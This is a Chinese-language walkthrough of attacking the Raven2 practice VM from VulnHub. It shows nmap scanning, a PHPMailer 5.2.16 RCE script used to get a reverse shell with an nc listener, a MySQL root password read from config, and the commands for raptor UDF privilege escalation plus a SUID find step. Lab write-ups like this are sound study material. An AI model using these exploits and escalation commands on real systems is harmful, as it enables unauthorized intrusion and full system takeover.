vulhub的raven2靶机:

image-20230623135918904

确认靶机地址为192.168.91.133

扫描一下:nmap -sV -sC 192.168.91.133 --script=vuln

image-20230623140353745

1.发现80端口的网站可能有csrf漏洞

2.目录枚举发现一些路径

3.有一些可能存在的漏洞

4.使用了wordpress搭建博客

先进网站看一看:

image-20230623143033224

知道wordpress的版本是4.8.22,popper的版本是1.12.9,apache服务器的版本是2.4.10,使用mysql数据库,网站暂时没有其他有用的东西,有一个登录接口,但是实际链接到主页,也没有用:

image-20230623143221923

扫描一下目录:

image-20230623143328697

1.发现很多可用的路径,先上去看看一些看起来比较特殊的路径

image-20230623143812489

1.原本以为会是一个可以上传文件的接口,上去后发现只有一张图片,居然正好是一个flag,xs~:

image-20230623143936977

==>

image-20230623143950145

image-20230623144450799

这两个页面访问不了

image-20230623144827225

1.在这个vendor页面发现了很多东西

2.在readme里面发现了使用PHPMailer,在后续文档中发现版本号可能是5.2.16

image-20230623145728081

在path中发现了webroot路径,还得到了一个flag

image-20230623145318082

webroot:/var/www/html

现在几乎遍历了整个网站,找到了两个flag,接下来大致至少有三个攻击面:一是攻击wordpress4.8.22,另一个是攻击PHPmailer5.2.16,然后是MySQL数据库的udf提权,但是这需要先得到shell。这里先搜寻一下有没有相关漏洞:

image-20230623150149932

image-20230623150227108

显然PHPMailer上的RCE漏洞是更好的选择

这里使用一下这个py脚本,在库中找到40974.py,复制一份到外面的目录中

image-20230623154615369

这个脚本应该是上传一个脚本通过socket连接反弹shell,通过访问这个contact.php触发生成后门文件,再访问后门文件触发shell反弹

1.target是我们脚本的保存位置

2.连接的主机是本机ip,然后端口是4444

3.这里需要填入之前找到的webroot

注意:这里的各个位置都要修改名字或者ip,我也不知道为什么不修改无法成功拿到shell

运行脚本 python 40974.py

image-20230623153627953

访问这个地址就可以触发shell

nc -lvnp 4444

image-20230623154738288

拿到了shell

试着提权:

python -c 'import pty; pty.spawn("/bin/bash")'

然后找找flag,因为之前的flag都属flag + N 的形式,所以这里使用正则加一个位置:

find ./ -name "flag*.txt" 2>/dev/null

拿到flag

image-20230623155307556

我们之前的思路,还有wordpress没有探索,以及数据库。

我们进入wordpress目录,里面的文件之前目录遍历基本上都没有成功访问,读一读配置文件之类的:

image-20230623160219544

好得不行,root:R@v3nSecurity

连接数据库:

www-data@Raven:/var/www/html/wordpress$ mysql -u root -p
mysql -u root -p
Enter password: R@v3nSecurity

这里看到版本号为5.5.60

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 73
Server version: 5.5.60-0+deb8u1 (Debian)

UDF提权还没学习到,这里直接参照一下其他师傅的博客复刻一下:

直接搜索5.5.6没有udf提权漏洞,搜索了一下,发先有以下要求:

1.如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下

2.如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录

3.所拥有的权限必须有insert和delete的权限

4.具有目录的写权限
https://blog.csdn.net/weixin_36433730/article/details/113208982

由于我们拿到了root账户,那可以try一try:

这里还看到一位博主的说法:

show global variables like 'secure%';

image-20230623161826094

[(146条消息) VulnHub-Raven-靶机渗透学习_嗯嗯呐的博客-CSDN博客](https://blog.csdn.net/shenyu_1126/article/details/109614583?ops_request_misc=%7B%22request%5Fid%22%3A%22168749990116800185833529%22%2C%22scm%22%3A%2220140713.130102334..%22%7D&request_id=168749990116800185833529&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~baidu_landing_v2~default-1-109614583-null-null.142^v88^control_2,239^v2^insert_chatgpt&utm_term=raven tty1&spm=1018.2226.3001.4187)

这里使用的是这个文件,一样的先拷贝出来:

image-20230623161946083

cp /usr/share/exploitdb/exploits/linux/local/1518.c ./
gcc -g -c 1518.c
gcc -g -shared -o  raptor_udf.so 1518.o -lc

这里的意思是(GPT):

cp /usr/share/exploitdb/exploits/linux/local/1518.c ./:这个命令将 /usr/share/exploitdb/exploits/linux/local/1518.c 文件复制到当前目录 (./) 中。

gcc -g -c 1518.c:这个命令使用 GCC 编译器编译名为 1518.c 的 C 源文件,并生成一个目标文件 1518.o。选项 -g 表示生成调试信息。

gcc -g -shared -o raptor_udf.so 1518.o -lc:这个命令使用 GCC 编译器将 1518.o 目标文件链接为一个共享库 raptor_udf.so。选项 -g 表示生成调试信息,选项 -shared 表示生成一个共享库,选项 -o 指定输出的文件名。最后的 -lc 是链接 C 标准库。

暂时还不是很理解,先move on

将文件上传到靶机:

image-20230623163103803

进入数据库创建数据表 foo,向表中插入二进制数据,然后利用dumpfile函数把文件导出, 再新建存储函数do_system类型是integer,别名(soname)文件名字

mysql -u root -pR@v3nSecurity
use mysql;
create table foo(line blob);
insert into foo values(load_file('/var/www/html/raptor_udf.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf.so';
create function do_system returns integer soname 'raptor_udf.so';
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf.so';
create function do_system returns integer soname 'raptor_udf.so';

通过do_system函数给find命令所有者的suid权限,使其可以执行root权限的命令

select do_system('chmod u+s /usr/bin/find');

image-20230623164007615

此时find命令拥有root权限,通过-exec tag 执行命令,但是不知道为什么能够直接获得root权限而不是反复调用-exec tag。

image-20230623165637187